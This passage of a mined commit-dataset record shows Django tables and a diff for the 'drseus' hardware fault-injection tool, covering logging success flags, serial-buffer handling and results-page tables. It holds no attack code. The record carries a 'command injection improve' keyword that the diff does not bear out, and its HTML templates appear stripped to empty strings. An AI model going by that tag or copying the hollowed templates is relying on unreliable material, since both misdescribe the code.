'{:,}'.format( event.objects.filter(result_id=record.id).count()) def render_registers(self, record): if record is not None: registers=[injection_.register for injection_ in injection.objects.filter(result=record.id)] else: registers=[] for index in range(len(registers)): if registers[index] is None: registers[index]='-' if len(registers) > 0: return ', '.join(registers) else: return '-' def render_targets(self, record): if record is not None: targets=[injection_.target for injection_ in injection.objects.filter(result=record.id)] else: targets=[] for index in range(len(targets)): if targets[index] is None: targets[index]='-' if len(targets) > 0: return ', '.join(targets) else: return '-' class Meta: attrs={\"class\": \"paleblue\"} model=result fields=('select', 'id_', 'timestamp', 'outcome_category', 'outcome', 'data_diff', 'detected_errors', 'num_injections', 'targets', 'registers') order_by='id_' class result_table(results_table): outcome=tables.TemplateColumn( '') outcome_category=tables.TemplateColumn( '') edit=tables.TemplateColumn( '') delete=tables.TemplateColumn( '') class Meta: attrs={\"class\": \"paleblue\"} model=result exclude=('id_', 'select', 'targets') fields=('id', 'timestamp', 'outcome_category', 'outcome', 'num_injections', 'data_diff', 'detected_errors') class event_table(tables.Table): description=tables.TemplateColumn( '{{ value}}') timestamp=tables.DateTimeColumn(format='m/d/Y H:i:s.u') class Meta: attrs={\"class\": \"paleblue\"} model=event fields=('timestamp', 'source', 'event_type', 'description') class hw_injection_table(tables.Table): timestamp=tables.DateTimeColumn(format='m/d/Y H:i:s.u') class Meta: attrs={\"class\": \"paleblue\"} model=injection exclude=('config_object', 'config_type', 'checkpoint_number', 'field', 'id', 'register_index', 'result') class simics_injection_table(tables.Table): timestamp=tables.DateTimeColumn(format='m/d/Y H:i:s.u') class Meta: attrs={\"class\": \"paleblue\"} model=injection fields=('injection_number', 'timestamp', 'checkpoint_number', 'target', 'target_index', 'register', 'register_index', 'bit', 'field', 'gold_value', 'injected_value', 'success') class simics_register_diff_table(tables.Table): class Meta: attrs={\"class\": \"paleblue\"} model=simics_register_diff exclude=('id', 'result') class simics_memory_diff_table(tables.Table): class Meta: attrs={\"class\": \"paleblue\"} model=simics_memory_diff exclude=('id', 'result') ", "sourceWithComments": "import django_tables2 as tables\n\nfrom .models import (campaign, event, injection, result, simics_memory_diff,\n simics_register_diff)\n\n\nclass campaigns_table(tables.Table):\n id_ = tables.TemplateColumn(\n '{{ value }}',\n accessor='id')\n num_cycles = tables.Column()\n results = tables.Column(empty_values=(), orderable=False)\n\n def render_num_cycles(self, record):\n return '{:,}'.format(record.num_cycles)\n\n def render_results(self, record):\n return '{:,}'.format(\n result.objects.filter(campaign=record.id).count())\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = campaign\n fields = ('id_', 'results', 'command', 'aux_command', 'architecture',\n 'use_simics', 'exec_time', 'sim_time', 'num_cycles',\n 'timestamp')\n order_by = 'id_'\n\n\nclass campaign_table(campaigns_table):\n num_checkpoints = tables.Column()\n cycles_between = tables.Column()\n results = tables.Column(empty_values=(), orderable=False)\n\n def render_num_checkpoints(self, record):\n return '{:,}'.format(record.num_checkpoints)\n\n def render_cycles_between(self, record):\n return '{:,}'.format(record.cycles_between)\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = campaign\n exclude = ('id_',)\n fields = ('id', 'timestamp', 'results', 'command', 'aux_command',\n 'architecture', 'use_simics', 'use_aux', 'exec_time',\n 'sim_time', 'num_cycles', 'output_file', 'num_checkpoints',\n 'cycles_between')\n\n\nclass results_table(tables.Table):\n events = tables.Column(empty_values=(), orderable=False)\n id_ = tables.TemplateColumn( # LinkColumn()\n '{{ value }}', accessor='id')\n registers = tables.Column(empty_values=(), orderable=False)\n select = tables.TemplateColumn(\n '',\n verbose_name='', orderable=False)\n timestamp = tables.DateTimeColumn(format='m/d/Y H:i:s.u')\n targets = tables.Column(empty_values=(), orderable=False)\n\n def render_events(self, record):\n return '{:,}'.format(\n event.objects.filter(result_id=record.id).count())\n\n def render_registers(self, record):\n if record is not None:\n registers = [injection_.register for injection_\n in injection.objects.filter(result=record.id)]\n else:\n registers = []\n for index in range(len(registers)):\n if registers[index] is None:\n registers[index] = '-'\n if len(registers) > 0:\n return ', '.join(registers)\n else:\n return '-'\n\n def render_targets(self, record):\n if record is not None:\n targets = [injection_.target for injection_\n in injection.objects.filter(result=record.id)]\n else:\n targets = []\n for index in range(len(targets)):\n if targets[index] is None:\n targets[index] = '-'\n if len(targets) > 0:\n return ', '.join(targets)\n else:\n return '-'\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = result\n fields = ('select', 'id_', 'timestamp', 'outcome_category', 'outcome',\n 'data_diff', 'detected_errors', 'num_injections', 'targets',\n 'registers')\n order_by = 'id_'\n\n\nclass result_table(results_table):\n outcome = tables.TemplateColumn(\n '')\n outcome_category = tables.TemplateColumn(\n '')\n edit = tables.TemplateColumn(\n '')\n delete = tables.TemplateColumn(\n '')\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = result\n exclude = ('id_', 'select', 'targets')\n fields = ('id', 'timestamp', 'outcome_category', 'outcome',\n 'num_injections', 'data_diff', 'detected_errors')\n\n\nclass event_table(tables.Table):\n description = tables.TemplateColumn(\n '{{ value }}')\n timestamp = tables.DateTimeColumn(format='m/d/Y H:i:s.u')\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = event\n fields = ('timestamp', 'source', 'event_type', 'description')\n\n\nclass hw_injection_table(tables.Table):\n timestamp = tables.DateTimeColumn(format='m/d/Y H:i:s.u')\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = injection\n exclude = ('config_object', 'config_type', 'checkpoint_number', 'field',\n 'id', 'register_index', 'result')\n\n\nclass simics_injection_table(tables.Table):\n timestamp = tables.DateTimeColumn(format='m/d/Y H:i:s.u')\n\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = injection\n fields = ('injection_number', 'timestamp', 'checkpoint_number',\n 'target', 'target_index', 'register', 'register_index', 'bit',\n 'field', 'gold_value', 'injected_value', 'success')\n\n\nclass simics_register_diff_table(tables.Table):\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = simics_register_diff\n exclude = ('id', 'result')\n\n\nclass simics_memory_diff_table(tables.Table):\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = simics_memory_diff\n exclude = ('id', 'result')\n"}}, "msg": "added login command options\nupdated event exception and stack trace logging\nadded injection success column to results table\ncleaned up result template\nadded open all displayed button to results table page\nadded clean command"}, "ff81efb8b39ad0ecfed3f15bf485475f6e7d0e45": {"url": "https://api.github.com/repos/CHREC/drseus/commits/ff81efb8b39ad0ecfed3f15bf485475f6e7d0e45", "html_url": "https://github.com/CHREC/drseus/commit/ff81efb8b39ad0ecfed3f15bf485475f6e7d0e45", "sha": "ff81efb8b39ad0ecfed3f15bf485475f6e7d0e45", "keyword": "command injection improve", "diff": "diff --git a/database.py b/database.py\nindex 6a7875a..7e13b51 100644\n--- a/database.py\n+++ b/database.py\n@@ -37,6 +37,13 @@ def dict_factory(cursor, row):\n self.cursor = self.connection.cursor()\n return self\n \n+ def __exit__(self, type_, value, traceback):\n+ self.connection.commit()\n+ self.connection.close()\n+ self.lock.release()\n+ if type_ is not None or value is not None or traceback is not None:\n+ return False # reraise exception\n+\n def insert(self, table, dictionary=None):\n if dictionary is None:\n if table == 'campaign':\n@@ -78,7 +85,7 @@ def __create_result(self):\n 'dut_output': '',\n 'num_injections': None,\n 'outcome_category': 'Incomplete',\n- 'outcome': 'Incomplete',\n+ 'outcome': 'In progress',\n 'timestamp': None})\n self.insert('result')\n \n@@ -96,11 +103,13 @@ def log_result(self, create_result=True):\n self.__create_result()\n \n def log_event(self, level, source, event_type, description=None,\n- campaign=False, success=None):\n+ success=None, campaign=False):\n if description == self.log_trace:\n description = ''.join(format_stack()[:-2])\n+ success = False\n elif description == self.log_exception:\n description = ''.join(format_exc())\n+ success = False\n event = {'description': description,\n 'event_type': event_type,\n 'level': level,\n@@ -180,10 +189,3 @@ def delete_campaign(self):\n [self.campaign['id']])\n self.cursor.execute('DELETE FROM log_campaign WHERE id=?',\n [self.campaign['id']])\n-\n- def __exit__(self, type_, value, traceback):\n- self.connection.commit()\n- self.connection.close()\n- self.lock.release()\n- if type_ is not None or value is not None or traceback is not None:\n- return False # reraise exception\ndiff --git a/drseus.py b/drseus.py\nindex 46057e1..11fdac8 100755\n--- a/drseus.py\n+++ b/drseus.py\n@@ -5,7 +5,6 @@\n import utilities\n \n # TODO: use regular expressions in telnet expect in jtag\n-# TODO: update dut.write/aux.write to dut.command/aux.command in fault_injector\n # TODO: add unique id to campaign and add capability to merge campaign results\n # TODO: add options for custom error messages\n # TODO: use formatting strings\ndiff --git a/dut.py b/dut.py\nindex 0142c3c..5872678 100644\n--- a/dut.py\n+++ b/dut.py\n@@ -22,6 +22,7 @@ class dut(object):\n ('drseus_sighandler: SIGSYS', 'Signal SIGSYS'),\n ('drseus_sighandler: SIGEMT', 'Signal SIGEMT'),\n ('command not found', 'Invalid command'),\n+ ('Unknown command', 'Invalid command'),\n ('No such file or directory', 'Missing file'),\n ('panic', 'Kernel error'),\n ('Oops', 'Kernel error'),\n@@ -104,21 +105,24 @@ def open(self, attempts=10):\n else:\n break\n self.serial.reset_input_buffer()\n+ self.serial.reset_output_buffer()\n with self.db as db:\n db.log_event('Information', 'DUT' if not self.aux else 'AUX',\n- 'Connected to serial port', serial_port)\n+ 'Connected to serial port', serial_port, success=True)\n \n def close(self):\n+ self.flush()\n self.serial.close()\n with self.db as db:\n db.log_event('Information', 'DUT' if not self.aux else 'AUX',\n- 'Closed serial port')\n+ 'Closed serial port', success=True)\n \n def flush(self):\n+ self.serial.reset_output_buffer()\n try:\n in_bytes = self.serial.in_waiting\n except:\n- pass\n+ self.serial.reset_input_buffer()\n else:\n if in_bytes:\n buff = self.serial.read(in_bytes).decode('utf-8', 'replace')\n@@ -128,10 +132,9 @@ def flush(self):\n else:\n self.db.campaign['dut_output' if not self.aux\n else 'aux_output'] += buff\n- with self.db as db:\n- db.log_event('Information',\n- 'DUT' if not self.aux else 'AUX',\n- 'Flushed serial buffer')\n+ with self.db as db:\n+ db.log_event('Information', 'DUT' if not self.aux else 'AUX',\n+ 'Flushed serial buffers', success=True)\n \n def send_files(self, files, attempts=10):\n if self.options.debug:\n@@ -156,7 +159,7 @@ def send_files(self, files, attempts=10):\n else:\n raise DrSEUsError(DrSEUsError.ssh_error)\n else:\n- dut_scp = SCPClient(ssh.get_transport())\n+ dut_scp = SCPClient(ssh.get_transport(), socket_timeout=30)\n try:\n dut_scp.put(files)\n except Exception as error:\n@@ -183,7 +186,8 @@ def send_files(self, files, attempts=10):\n with self.db as db:\n db.log_event('Information',\n 'DUT' if not self.aux else 'AUX',\n- 'Sent files', ', '.join(files))\n+ 'Sent files', ', '.join(files),\n+ success=True)\n break\n \n def get_file(self, file_, local_path='', attempts=10):\n@@ -210,7 +214,7 @@ def get_file(self, file_, local_path='', attempts=10):\n else:\n raise DrSEUsError(DrSEUsError.ssh_error)\n else:\n- dut_scp = SCPClient(ssh.get_transport())\n+ dut_scp = SCPClient(ssh.get_transport(), socket_timeout=30)\n try:\n dut_scp.get(file_, local_path=local_path)\n except Exception as error:\n@@ -237,7 +241,7 @@ def get_file(self, file_, local_path='', attempts=10):\n with self.db as db:\n db.log_event('Information',\n 'DUT' if not self.aux else 'AUX',\n- 'Received file', file_)\n+ 'Received file', file_, success=True)\n break\n \n def write(self, string):\n@@ -260,6 +264,8 @@ def read_until(self, string=None, continuous=False, boot=False):\n with self.db as db:\n db.log_event('Error', 'DUT' if not self.aux else 'AUX',\n 'Read error', db.log_exception)\n+ self.close()\n+ self.open()\n else:\n if not char:\n hanging = True\n@@ -348,7 +354,7 @@ def read_until(self, string=None, continuous=False, boot=False):\n if boot:\n with self.db as db:\n db.log_event('Information', 'DUT' if not self.aux else 'AUX',\n- 'Booted')\n+ 'Booted', success=True)\n return buff\n \n def command(self, command=None):\n@@ -366,6 +372,7 @@ def command(self, command=None):\n return buff\n \n def do_login(self, change_prompt=False):\n+ self.serial.timeout = 60\n self.read_until(boot=True)\n if change_prompt:\n self.write('export PS1=\\\"DrSEUs# \\\"\\n')\n@@ -400,6 +407,3 @@ def do_login(self, change_prompt=False):\n raise DrSEUsError('Error finding device ip address')\n if self.ip_address is not None:\n break\n- with self.db as db:\n- db.log_event('Information', 'DUT' if not self.aux else 'AUX',\n- 'Logged in')\ndiff --git a/fault_injector.py b/fault_injector.py\nindex 705c8cc..c57b780 100644\n--- a/fault_injector.py\n+++ b/fault_injector.py\n@@ -49,12 +49,15 @@ def __str__(self):\n str(self.db.campaign['sim_time'])+' seconds')\n return string\n \n- def close(self):\n- self.debugger.dut.flush()\n- if self.db.campaign['aux']:\n- self.debugger.aux.flush()\n+ def close(self, interrupted=False):\n self.debugger.close()\n- if self.db.result:\n+ if interrupted:\n+ with self.db as db:\n+ db.log_event('Information', 'User', 'Interrupt',\n+ db.log_exception)\n+ db.result['outcome'] = 'Interrupted'\n+ db.log_result(False)\n+ elif self.db.result:\n with self.db as db:\n result_items = db.get_count('event')\n result_items += db.get_count('injection')\n@@ -68,7 +71,7 @@ def close(self):\n 'outcome_category': 'DrSEUs',\n 'outcome': 'Closed DrSEUs'})\n with self.db as db:\n- db.log_result(True)\n+ db.log_result(False)\n else:\n with self.db as db:\n db.delete_result()\n@@ -99,7 +102,6 @@ def send_dut_files(aux=False):\n aux_process.start()\n if not self.db.campaign['simics']:\n self.debugger.reset_dut()\n- self.debugger.dut.serial.timeout = 30\n self.debugger.dut.do_login()\n send_dut_files()\n if self.db.campaign['aux']:\n@@ -249,7 +251,6 @@ def prepare_dut():\n db.log_result()\n return False\n try:\n- self.debugger.dut.serial.timeout = 30\n self.debugger.dut.do_login()\n except DrSEUsError as error:\n self.db.result.update({\n@@ -268,6 +269,9 @@ def prepare_dut():\n db.log_result()\n return False\n if self.db.campaign['aux']:\n+ with self.db as db:\n+ db.log_event('Information', 'AUX', 'Command',\n+ self.db.campaign['aux_command'])\n self.debugger.aux.write(\n './'+self.db.campaign['aux_command']+'\\n')\n return True\n@@ -302,6 +306,12 @@ def check_latent_faults():\n if self.db.result['outcome'] == 'Latent faults' or \\\n (not self.db.campaign['simics'] and\n self.db.result['outcome'] == 'Masked faults'):\n+ with self.db as db:\n+ if self.db.campaign['aux']:\n+ db.log_event('Information', 'AUX', 'Command',\n+ self.db.campaign['aux_command'])\n+ db.log_event('Information', 'DUT', 'Command',\n+ self.db.campaign['command'])\n if self.db.campaign['aux']:\n self.debugger.aux.write(\n './'+self.db.campaign['aux_command']+'\\n')\n@@ -331,6 +341,9 @@ def check_latent_faults():\n if not self.db.campaign['simics']:\n if not prepare_dut():\n continue\n+ with self.db as db:\n+ db.log_event('Information', 'DUT', 'Command',\n+ self.db.campaign['command'])\n try:\n latent_faults, persistent_faults = self.debugger.inject_faults()\n self.debugger.continue_dut()\ndiff --git a/jtag.py b/jtag.py\nindex b988d64..6a0c634 100644\n--- a/jtag.py\n+++ b/jtag.py\n@@ -66,18 +66,21 @@ def connect_telnet(self):\n timeout=self.timeout)\n with self.db as db:\n db.log_event('Information', 'Debugger', 'Connected to telnet',\n- self.options.debugger_ip_address+':'+str(self.port))\n+ self.options.debugger_ip_address+':'+str(self.port),\n+ success=True)\n \n def close(self):\n if self.telnet:\n self.telnet.close()\n with self.db as db:\n- db.log_event('Information', 'Debugger', 'Closed telnet')\n+ db.log_event('Information', 'Debugger', 'Closed telnet',\n+ success=True)\n self.dut.close()\n if self.db.campaign['aux']:\n self.aux.close()\n \n def reset_dut(self, expected_output, attempts):\n+ self.dut.flush()\n if self.telnet:\n for attempt in range(attempts):\n try:\n@@ -97,23 +100,33 @@ def reset_dut(self, expected_output, attempts):\n raise DrSEUsError(error.type)\n else:\n with self.db as db:\n- db.log_event('Information', 'Debugger', 'Reset DUT')\n+ db.log_event('Information', 'Debugger', 'Reset DUT',\n+ success=True)\n break\n else:\n self.dut.serial.write('\\x03')\n \n def halt_dut(self, halt_command, expected_output):\n+ with self.db as db:\n+ event = db.log_event('Information', 'Debugger', 'Halt DUT',\n+ success=False)\n self.command(halt_command, expected_output, 'Error halting DUT', False)\n with self.db as db:\n- db.log_event('Information', 'Debugger', 'Halt DUT')\n+ db.log_event_success(event)\n \n def continue_dut(self, continue_command):\n+ with self.db as db:\n+ event = db.log_event('Information', 'Debugger', 'Continue DUT',\n+ success=False)\n self.command(continue_command, error_message='Error continuing DUT',\n log_event=False)\n with self.db as db:\n- db.log_event('Information', 'Debugger', 'Continue DUT')\n+ db.log_event_success(event)\n \n def time_application(self):\n+ with self.db as db:\n+ event = db.log_event('Information', 'Debugger', 'Timed application',\n+ success=False, campaign=True)\n start = time()\n for i in range(self.options.iterations):\n if self.db.campaign['aux']:\n@@ -134,8 +147,7 @@ def time_application(self):\n self.db.campaign['exec_time'] = \\\n (end - start) / self.options.iterations\n with self.db as db:\n- db.log_event('Information', 'Debugger', 'Timed application',\n- campaign=True)\n+ db.log_event_success(event)\n \n def inject_faults(self):\n injection_times = []\n@@ -159,6 +171,7 @@ def inject_faults(self):\n 'processor_mode': mode,\n 'register': register,\n 'result_id': self.db.result['id'],\n+ 'success': False,\n 'target': target,\n 'time': injection_time,\n 'timestamp': None}\n@@ -182,9 +195,31 @@ def inject_faults(self):\n self.targets[target]['registers'][register]['bits']\n else:\n num_bits_to_inject = 32\n- injection['bit'] = randrange(num_bits_to_inject)\n+ bit_to_inject = randrange(num_bits_to_inject)\n+ if 'adjust_bit' in \\\n+ self.targets[target]['registers'][register]:\n+ bit_to_inject = (self.targets[target]['registers']\n+ [register]['adjust_bit']\n+ [bit_to_inject])\n+ if 'fields' in self.targets[target]['registers'][register]:\n+ for field_name, field_bounds in \\\n+ (self.targets[target]['registers']\n+ [register]['fields'].items()):\n+ if bit_to_inject in range(field_bounds[0],\n+ field_bounds[1]+1):\n+ injection['field'] = field_name\n+ break\n+ else:\n+ with self.db as db:\n+ db.log_event('Warning', 'Debugger',\n+ 'Error finding register field name',\n+ 'target: '+target+', register: '+register +\n+ ', bit: '+str(bit_to_inject))\n+ injection['bit'] = bit_to_inject\n injection['injected_value'] = hex(\n int(injection['gold_value'], base=16) ^ (1 << injection['bit']))\n+ with self.db as db:\n+ db.insert('injection', injection)\n if self.options.debug:\n print(colored('target: '+target, 'magenta'))\n if 'target_index' in injection:\n@@ -203,25 +238,27 @@ def inject_faults(self):\n base=16):\n injection['success'] = True\n with self.db as db:\n- db.insert('injection', injection)\n- db.log_event('Information', 'Debugger', 'Fault injected')\n+ db.update('injection', injection)\n+ db.log_event('Information', 'Debugger', 'Fault injected',\n+ success=True)\n else:\n self.set_mode()\n self.set_register_value(\n register, target, target_index, injection['injected_value'])\n self.set_mode(injection['processor_mode'])\n- injection['success'] = False\n if int(injection['injected_value'], base=16) == \\\n int(self.get_register_value(register, target, target_index),\n base=16):\n+ injection['success'] = True\n with self.db as db:\n- db.insert('injection', injection)\n- db.log_event('Warning', 'Debugger',\n- 'Fault injected as supervisor')\n+ db.update('injection', injection)\n+ db.log_event('Information', 'Debugger',\n+ 'Fault injected as supervisor',\n+ success=True)\n else:\n with self.db as db:\n- db.insert('injection', injection)\n- db.log_event('Warning', 'Debugger', 'Injection failed')\n+ db.log_event('Error', 'Debugger', 'Injection failed',\n+ success=False)\n return 0, False\n \n def command(self, command, expected_output, error_message,\n@@ -350,6 +387,9 @@ def get_mode(self):\n \n def set_mode(self, mode='supervisor'):\n pass\n+ # with self.db as db:\n+ # db.log_event('Information', 'Debugger', 'Set processor mode', mode,\n+ # success=True)\n \n def command(self, command, expected_output=[], error_message=None,\n log_event=True):\n@@ -500,7 +540,8 @@ def find_open_port():\n else None))\n if options.command != 'openocd':\n with database as db:\n- db.log_event('Information', 'Debugger', 'Launched openocd')\n+ db.log_event('Information', 'Debugger', 'Launched openocd',\n+ success=True)\n super().__init__(database, options)\n if options.jtag:\n sleep(1)\n@@ -515,7 +556,8 @@ def close(self):\n super().close()\n self.openocd.wait()\n with self.db as db:\n- db.log_event('Information', 'Debugger', 'Closed openocd')\n+ db.log_event('Information', 'Debugger', 'Closed openocd',\n+ success=True)\n \n def command(self, command, expected_output=[], error_message=None,\n log_event=True):\n@@ -546,6 +588,9 @@ def set_mode(self, mode='svc'):\n cpsr = int(self.get_register_value('cpsr', 'CPU', None), base=16)\n self.set_register_value('cpsr', 'CPU', None,\n hex(int(str(bin(cpsr))[:-5]+mask, base=2)))\n+ with self.db as db:\n+ db.log_event('Information', 'Debugger', 'Set processor mode', mode,\n+ success=True)\n \n def get_register_value(self, register, target, target_index):\n if target == 'CP':\ndiff --git a/log/filters.py b/log/filters.py\nindex e0defc2..37d6ce5 100644\n--- a/log/filters.py\n+++ b/log/filters.py\n@@ -20,6 +20,12 @@ def __init__(self, *args, **kwargs):\n campaign = kwargs['campaign']\n del kwargs['campaign']\n super().__init__(*args, **kwargs)\n+ dut_serial_port_choices = self.result_choices(\n+ campaign, 'dut_serial_port')\n+ self.filters['dut_serial_port'].extra.update(\n+ choices=dut_serial_port_choices)\n+ self.filters['dut_serial_port'].widget.attrs['size'] = min(\n+ len(dut_serial_port_choices), 10)\n event_type_choices = self.event_choices(campaign, 'event_type')\n self.filters['event__event_type'].extra.update(\n choices=event_type_choices)\n@@ -116,7 +122,7 @@ def result_choices(self, campaign, attribute):\n return sorted(choices, key=fix_sort_list)\n \n aux_output = CharFilter(\n- label='AUX output',\n+ label='AUX console output',\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n@@ -127,7 +133,6 @@ def result_choices(self, campaign, attribute):\n name='data_diff', label='Data diff (<)', lookup_type='lt',\n help_text='')\n debugger_output = CharFilter(\n- label='Debugger output',\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n@@ -138,10 +143,13 @@ def result_choices(self, campaign, attribute):\n name='detected_errors', label='Detected errors (<)', lookup_type='lt',\n help_text='')\n dut_output = CharFilter(\n- label='DUT output',\n+ label='DUT console output',\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n help_text='')\n+ dut_serial_port = MultipleChoiceFilter(\n+ label='DUT serial port',\n+ widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n event__description = CharFilter(\n lookup_type='icontains',\n widget=Textarea(attrs={'cols': 16, 'rows': 3, 'type': 'search'}),\n@@ -181,16 +189,14 @@ def result_choices(self, campaign, attribute):\n label='Number of injections',\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n outcome = MultipleChoiceFilter(\n- label='Outcome',\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n outcome_category = MultipleChoiceFilter(\n- label='Outcome category',\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n \n class Meta:\n model = result\n exclude = ('aux_serial_port', 'campaign', 'data_diff',\n- 'detected_errors', 'dut_serial_port', 'timestamp')\n+ 'detected_errors', 'timestamp')\n \n \n class simics_register_diff_filter(FilterSet):\ndiff --git a/log/models.py b/log/models.py\nindex 9e6c5da..477fb22 100644\n--- a/log/models.py\n+++ b/log/models.py\n@@ -64,7 +64,7 @@ class injection(Model):\n register_access = TextField(null=True)\n register_index = TextField(null=True)\n result = ForeignKey(result)\n- success = NullBooleanField()\n+ success = BooleanField()\n target = TextField(null=True)\n target_index = TextField(null=True)\n time = FloatField(null=True)\ndiff --git a/log/tables.py b/log/tables.py\nindex 920d48e..7ac3db5 100644\n--- a/log/tables.py\n+++ b/log/tables.py\n@@ -1,5 +1,5 @@\n-from django_tables2 import Column, DateTimeColumn, Table, TemplateColumn\n-\n+from django_tables2 import (CheckBoxColumn, Column, DateTimeColumn, Table,\n+ TemplateColumn)\n from .models import (campaign, event, injection, result, simics_memory_diff,\n simics_register_diff)\n \n@@ -10,7 +10,6 @@ class campaigns_table(Table):\n id_ = TemplateColumn(\n '{{ value }}',\n accessor='id')\n- num_cycles = Column()\n results = Column(empty_values=(), orderable=False)\n timestamp = DateTimeColumn(format=datetime_format)\n \n@@ -31,8 +30,6 @@ class Meta:\n \n \n class campaign_table(campaigns_table):\n- cycles_between = Column()\n- num_checkpoints = Column()\n results = Column(empty_values=(), orderable=False)\n timestamp = DateTimeColumn(format=datetime_format)\n \n@@ -57,9 +54,9 @@ class results_table(Table):\n id_ = TemplateColumn( # LinkColumn()\n '{{ value }}', accessor='id')\n registers = Column(empty_values=(), orderable=False)\n- select = TemplateColumn(\n- '',\n- verbose_name='', orderable=False)\n+ select_box = CheckBoxColumn(\n+ accessor='id',\n+ attrs={'th__input': {'onclick': 'update_selection(this)'}})\n injection_success = Column(empty_values=(), orderable=False)\n timestamp = DateTimeColumn(format=datetime_format)\n targets = Column(empty_values=(), orderable=False)\n@@ -112,44 +109,50 @@ def render_targets(self, record):\n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = result\n- fields = ('select', 'id_', 'dut_serial_port', 'timestamp',\n+ fields = ('select_box', 'id_', 'dut_serial_port', 'timestamp',\n 'outcome_category', 'outcome', 'data_diff', 'detected_errors',\n 'events', 'num_injections', 'targets', 'registers',\n 'injection_success')\n order_by = '-id_'\n \n \n-class result_table(results_table):\n+class result_table(Table):\n delete = TemplateColumn(\n- '')\n+ '',\n+ orderable=False)\n edit = TemplateColumn(\n- '')\n+ '',\n+ orderable=False)\n outcome = TemplateColumn(\n- '')\n+ '')\n outcome_category = TemplateColumn(\n- '')\n+ ''\n+ )\n timestamp = DateTimeColumn(format=datetime_format)\n \n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = result\n- exclude = ('id_', 'select', 'targets')\n fields = ('id', 'dut_serial_port', 'timestamp', 'outcome_category',\n- 'outcome', 'num_injections', 'data_diff', 'detected_errors')\n+ 'outcome', 'num_injections', 'data_diff', 'detected_errors',\n+ 'edit', 'delete')\n \n \n class event_table(Table):\n description = TemplateColumn(\n- '{% if value %}{{ value }}{% endif %}')\n+ '{% if value %}{{ value }}{% endif %}',\n+ attrs={'td': {'style': 'word-wrap: break-word;max-width: 120ex;'}})\n+ success = TemplateColumn(\n+ '{% if value == None %}-'\n+ '{% elif value %}\\u2714'\n+ '{% else %}\\u2718{% endif %}')\n timestamp = DateTimeColumn(format=datetime_format)\n \n class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = event\n- fields = ('timestamp', 'level', 'source', 'event_type', 'description',\n- 'success')\n+ fields = ('timestamp', 'level', 'source', 'event_type', 'success',\n+ 'description')\n \n \n class injections_table(Table):\ndiff --git a/log/templates/base.html b/log/templates/base.html\nindex b3a4613..80c7aad 100644\n--- a/log/templates/base.html\n+++ b/log/templates/base.html\n@@ -37,6 +37,8 @@\n });\n \n {% endif %}\n+ {% block header %}\n+ {% endblock %}\n \n \n
    \ndiff --git a/log/templates/result.html b/log/templates/result.html\nindex 7b5fdbe..80852fb 100644\n--- a/log/templates/result.html\n+++ b/log/templates/result.html\n@@ -1,5 +1,27 @@\n {% extends \"base.html\" %}\n \n+{% block header %}\n+ \n+{% endblock %}\n+\n {% block body %}\n {% load django_tables2 %}\n
    \n@@ -8,10 +30,7 @@

    \n Result\n

    \n
    \n-
    \n- {% csrf_token %}\n- {% render_table table %}\n-
    \n+ {% render_table table %}\n
    \n
    \n

    \ndiff --git a/log/templates/results.html b/log/templates/results.html\nindex ef607fa..028439d 100644\n--- a/log/templates/results.html\n+++ b/log/templates/results.html\n@@ -1,5 +1,67 @@\n {% extends \"base.html\" %}\n \n+{% block header %}\n+ \n+{% endblock %}\n+\n {% block body %}\n
    \n
    \n@@ -7,75 +69,7 @@

    \n Results\n

    \n \n- \n \n- \n \n@@ -95,12 +89,6 @@

    \n \n

    \n \n- \n \n \n \n- \n \n \n \n \n
    \n- Selection\n- \n Open in Tabs\n
    \n-
    \n- \n- \n-
    \n-     		\n
    \n \n@@ -130,11 +118,6 @@

    \n

    \n-
    \n- \n-
    \n-     		\n
    \n \ndiff --git a/log/views.py b/log/views.py\nindex 815d70a..f3ff135 100644\n--- a/log/views.py\n+++ b/log/views.py\n@@ -25,7 +25,7 @@\n \n def campaigns_page(request):\n campaign_objects = campaign.objects.all()\n- if len(campaign_objects) == 1:\n+ if campaign_objects.count() == 1:\n return redirect('/campaign/'+str(campaign_objects[0].id)+'/results')\n table = campaigns_table(campaign_objects)\n chart_array = campaigns_chart(result.objects.all())\n@@ -113,6 +113,8 @@ def injections_page(request, campaign_id):\n \n \n def results_page(request, campaign_id):\n+ if result.objects.filter(campaign_id=campaign_id).count() == 0:\n+ return redirect('/campaign/'+str(campaign_id)+'/info')\n campaign_object = campaign.objects.get(id=campaign_id)\n output_file = ('campaign-data/'+campaign_id+'/gold_' +\n campaign_object.output_file)\n@@ -124,19 +126,17 @@ def results_page(request, campaign_id):\n request.GET, campaign=campaign_id,\n queryset=result.objects.filter(campaign_id=campaign_id))\n result_ids = filter_.qs.values('id').distinct()\n- if len(result_ids) == 0:\n- return redirect('/campaign/'+str(campaign_id)+'/info')\n result_objects = result.objects.filter(id__in=result_ids)\n if request.method == 'GET':\n if (('view_output' in request.GET or\n 'view_output_image' in request.GET) and\n 'select_box' in request.GET):\n- result_ids = []\n+ result_ids = sorted(map(int, dict(request.GET)['select_box']),\n+ reverse=True)\n page_items = []\n- for result_id in dict(request.GET)['select_box']:\n- result_ids.append(int(result_id))\n- page_items.append(('Result ID '+result_id, result_id))\n- results = result.objects.filter(id__in=result_ids)\n+ for result_id in result_ids:\n+ page_items.append(('Result ID '+str(result_id), result_id))\n+ results = result.objects.filter(id__in=result_ids).order_by('-id')\n image = 'view_output_image' in request.GET\n return render(request, 'output.html', {'campaign': campaign_id,\n 'image': image,\ndiff --git a/simics.py b/simics.py\nindex 